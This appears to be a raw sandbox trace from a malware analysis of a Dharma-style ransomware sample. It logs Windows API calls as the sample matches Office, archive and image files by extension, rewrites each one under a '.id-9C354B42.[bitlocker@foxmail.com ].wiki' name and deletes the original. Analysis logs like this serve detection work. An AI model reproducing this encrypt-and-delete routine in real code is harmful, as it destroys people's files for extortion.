lstrcmpiW (lpString1=".dbf", lpString2=".wmv") returned -1 [0060.499] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.499] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.499] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\msjet.xsl.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0060.499] GetLastError () returned 0x0 [0060.499] ReadFile (in: hFile=0x180, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0x712e, lpOverlapped=0x0) returned 1 [0060.511] WriteFile (in: hFile=0x20c, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0x7130, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0x7130, lpOverlapped=0x0) returned 1 [0060.512] ReadFile (in: hFile=0x180, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0x0, lpOverlapped=0x0) returned 1 [0060.512] WriteFile (in: hFile=0x20c, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0060.512] SetEndOfFile (hFile=0x20c) returned 1 [0060.513] CloseHandle (hObject=0x20c) returned 1 [0060.513] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.513] SetEndOfFile (hFile=0x180) returned 1 [0060.514] CloseHandle (hObject=0x180) returned 1 [0060.514] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0060.514] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\msjet.xsl")) returned 1 [0060.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl") returned 77 [0060.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl") returned 77 [0060.514] lstrlenW (lpString=".doc") returned 4 [0060.515] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0060.515] lstrlenW (lpString=".docx") returned 5 [0060.515] lstrcmpiW (lpString1=".docx", lpString2="t.xsl") returned -1 [0060.515] lstrlenW (lpString=".pdf") returned 4 [0060.515] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0060.515] lstrlenW (lpString=".xls") returned 4 [0060.515] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0060.515] lstrlenW (lpString=".xlsx") returned 5 [0060.515] lstrcmpiW (lpString1=".xlsx", lpString2="t.xsl") returned -1 [0060.515] lstrlenW (lpString=".ppt") returned 4 [0060.515] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0060.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl") returned 77 [0060.515] lstrlenW (lpString=".zip") returned 4 [0060.515] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0060.515] lstrlenW (lpString=".rar") returned 4 [0060.515] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0060.515] lstrlenW (lpString=".bz2") returned 4 [0060.515] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0060.515] lstrlenW (lpString=".7z") returned 3 [0060.515] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0060.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl") returned 77 [0060.515] lstrlenW (lpString=".dbf") returned 4 [0060.515] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0060.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl") returned 77 [0060.515] lstrlenW (lpString=".1cd") returned 4 [0060.515] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0060.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl") returned 77 [0060.515] lstrlenW (lpString=".jpg") returned 4 [0060.515] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0060.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl") returned 77 [0060.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl") returned 77 [0060.515] lstrlenW (lpString=".doc") returned 4 [0060.515] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0060.515] lstrlenW (lpString=".docx") returned 5 [0060.516] lstrcmpiW (lpString1=".docx", lpString2="t.xsl") returned -1 [0060.516] lstrlenW (lpString=".pdf") returned 4 [0060.516] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0060.516] lstrlenW (lpString=".xls") returned 4 [0060.516] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0060.516] lstrlenW (lpString=".xlsx") returned 5 [0060.516] lstrcmpiW (lpString1=".xlsx", lpString2="t.xsl") returned -1 [0060.516] lstrlenW (lpString=".ppt") returned 4 [0060.516] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0060.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl") returned 77 [0060.516] lstrlenW (lpString=".zip") returned 4 [0060.516] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0060.516] lstrlenW (lpString=".rar") returned 4 [0060.516] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0060.516] lstrlenW (lpString=".bz2") returned 4 [0060.516] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0060.516] lstrlenW (lpString=".7z") returned 3 [0060.516] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0060.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl") returned 77 [0060.516] lstrlenW (lpString=".dbf") returned 4 [0060.516] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0060.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl") returned 77 [0060.516] lstrlenW (lpString=".1cd") returned 4 [0060.516] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0060.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl") returned 77 [0060.516] lstrlenW (lpString=".jpg") returned 4 [0060.516] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0060.516] lstrcmpiW (lpString1=".GIF", lpString2=".wiki") returned -1 [0060.516] lstrlenW (lpString="AG00011_.GIF") returned 12 [0060.516] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00011_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0060.517] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x234ff1c | out: lpFileSize=0x234ff1c*=7216) returned 1 [0060.517] CloseHandle (hObject=0x180) returned 1 [0060.517] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00011_.gif")) returned 0x20 [0060.517] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00011_.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0060.517] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00011_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0060.517] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.517] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.517] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00011_.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0060.518] GetLastError () returned 0x0 [0060.518] ReadFile (in: hFile=0x180, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0x1c30, lpOverlapped=0x0) returned 1 [0060.523] WriteFile (in: hFile=0x20c, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0x1c40, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0x1c40, lpOverlapped=0x0) returned 1 [0060.524] ReadFile (in: hFile=0x180, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0x0, lpOverlapped=0x0) returned 1 [0060.524] WriteFile (in: hFile=0x20c, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0xec, lpOverlapped=0x0) returned 1 [0060.525] SetEndOfFile (hFile=0x20c) returned 1 [0060.525] CloseHandle (hObject=0x20c) returned 1 [0060.525] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.525] SetEndOfFile (hFile=0x180) returned 1 [0060.526] CloseHandle (hObject=0x180) returned 1 [0060.526] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0060.526] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00011_.gif")) returned 1 [0060.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 63 [0060.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 63 [0060.526] lstrlenW (lpString=".doc") returned 4 [0060.526] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0060.526] lstrlenW (lpString=".docx") returned 5 [0060.526] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0060.526] lstrlenW (lpString=".pdf") returned 4 [0060.526] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0060.526] lstrlenW (lpString=".xls") returned 4 [0060.526] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0060.526] lstrlenW (lpString=".xlsx") returned 5 [0060.526] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0060.526] lstrlenW (lpString=".ppt") returned 4 [0060.526] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0060.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 63 [0060.526] lstrlenW (lpString=".zip") returned 4 [0060.526] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0060.526] lstrlenW (lpString=".rar") returned 4 [0060.526] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0060.526] lstrlenW (lpString=".bz2") returned 4 [0060.527] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0060.527] lstrlenW (lpString=".7z") returned 3 [0060.527] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0060.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 63 [0060.527] lstrlenW (lpString=".dbf") returned 4 [0060.527] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0060.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 63 [0060.527] lstrlenW (lpString=".1cd") returned 4 [0060.527] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0060.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 63 [0060.527] lstrlenW (lpString=".jpg") returned 4 [0060.527] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0060.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 63 [0060.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 63 [0060.527] lstrlenW (lpString=".doc") returned 4 [0060.527] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0060.527] lstrlenW (lpString=".docx") returned 5 [0060.527] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0060.527] lstrlenW (lpString=".pdf") returned 4 [0060.527] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0060.527] lstrlenW (lpString=".xls") returned 4 [0060.527] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0060.527] lstrlenW (lpString=".xlsx") returned 5 [0060.527] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0060.527] lstrlenW (lpString=".ppt") returned 4 [0060.527] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0060.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 63 [0060.527] lstrlenW (lpString=".zip") returned 4 [0060.527] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0060.527] lstrlenW (lpString=".rar") returned 4 [0060.527] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0060.527] lstrlenW (lpString=".bz2") returned 4 [0060.527] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0060.527] lstrlenW (lpString=".7z") returned 3 [0060.528] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0060.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 63 [0060.528] lstrlenW (lpString=".dbf") returned 4 [0060.528] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0060.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 63 [0060.528] lstrlenW (lpString=".1cd") returned 4 [0060.528] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0060.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 63 [0060.528] lstrlenW (lpString=".jpg") returned 4 [0060.528] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0060.528] lstrcmpiW (lpString1=".GIF", lpString2=".wiki") returned -1 [0060.528] lstrlenW (lpString="AG00021_.GIF") returned 12 [0060.528] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00021_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0060.536] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x234ff1c | out: lpFileSize=0x234ff1c*=14873) returned 1 [0060.536] CloseHandle (hObject=0x180) returned 1 [0060.536] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00021_.gif")) returned 0x20 [0060.536] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00021_.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0060.536] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00021_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0060.536] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.536] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.536] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00021_.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0060.536] GetLastError () returned 0x0 [0060.536] ReadFile (in: hFile=0x180, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0x3a19, lpOverlapped=0x0) returned 1 [0060.547] WriteFile (in: hFile=0x20c, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0x3a20, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0x3a20, lpOverlapped=0x0) returned 1 [0060.548] ReadFile (in: hFile=0x180, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0x0, lpOverlapped=0x0) returned 1 [0060.548] WriteFile (in: hFile=0x20c, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0xec, lpOverlapped=0x0) returned 1 [0060.548] SetEndOfFile (hFile=0x20c) returned 1 [0060.548] CloseHandle (hObject=0x20c) returned 1 [0060.548] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.548] SetEndOfFile (hFile=0x180) returned 1 [0060.549] CloseHandle (hObject=0x180) returned 1 [0060.549] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0060.549] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00021_.gif")) returned 1 [0060.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 63 [0060.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 63 [0060.549] lstrlenW (lpString=".doc") returned 4 [0060.549] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0060.549] lstrlenW (lpString=".docx") returned 5 [0060.549] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0060.549] lstrlenW (lpString=".pdf") returned 4 [0060.550] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0060.550] lstrlenW (lpString=".xls") returned 4 [0060.550] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0060.550] lstrlenW (lpString=".xlsx") returned 5 [0060.550] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0060.550] lstrlenW (lpString=".ppt") returned 4 [0060.550] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0060.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 63 [0060.550] lstrlenW (lpString=".zip") returned 4 [0060.550] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0060.550] lstrlenW (lpString=".rar") returned 4 [0060.550] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0060.550] lstrlenW (lpString=".bz2") returned 4 [0060.550] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0060.550] lstrlenW (lpString=".7z") returned 3 [0060.550] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0060.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 63 [0060.550] lstrlenW (lpString=".dbf") returned 4 [0060.550] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0060.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 63 [0060.550] lstrlenW (lpString=".1cd") returned 4 [0060.550] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0060.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 63 [0060.550] lstrlenW (lpString=".jpg") returned 4 [0060.550] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0060.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 63 [0060.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 63 [0060.550] lstrlenW (lpString=".doc") returned 4 [0060.550] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0060.550] lstrlenW (lpString=".docx") returned 5 [0060.550] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0060.550] lstrlenW (lpString=".pdf") returned 4 [0060.550] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0060.550] lstrlenW (lpString=".xls") returned 4 [0060.550] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0060.550] lstrlenW (lpString=".xlsx") returned 5 [0060.551] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0060.551] lstrlenW (lpString=".ppt") returned 4 [0060.551] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0060.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 63 [0060.551] lstrlenW (lpString=".zip") returned 4 [0060.551] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0060.551] lstrlenW (lpString=".rar") returned 4 [0060.551] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0060.551] lstrlenW (lpString=".bz2") returned 4 [0060.551] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0060.551] lstrlenW (lpString=".7z") returned 3 [0060.551] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0060.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 63 [0060.551] lstrlenW (lpString=".dbf") returned 4 [0060.551] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0060.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 63 [0060.551] lstrlenW (lpString=".1cd") returned 4 [0060.551] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0060.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 63 [0060.551] lstrlenW (lpString=".jpg") returned 4 [0060.551] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0060.551] lstrcmpiW (lpString1=".GIF", lpString2=".wiki") returned -1 [0060.551] lstrlenW (lpString="AG00040_.GIF") returned 12 [0060.551] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00040_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0060.551] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x234ff1c | out: lpFileSize=0x234ff1c*=8097) returned 1 [0060.552] CloseHandle (hObject=0x180) returned 1 [0060.552] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00040_.gif")) returned 0x20 [0060.552] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00040_.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0060.552] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00040_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0060.552] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.552] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.552] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00040_.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki"), 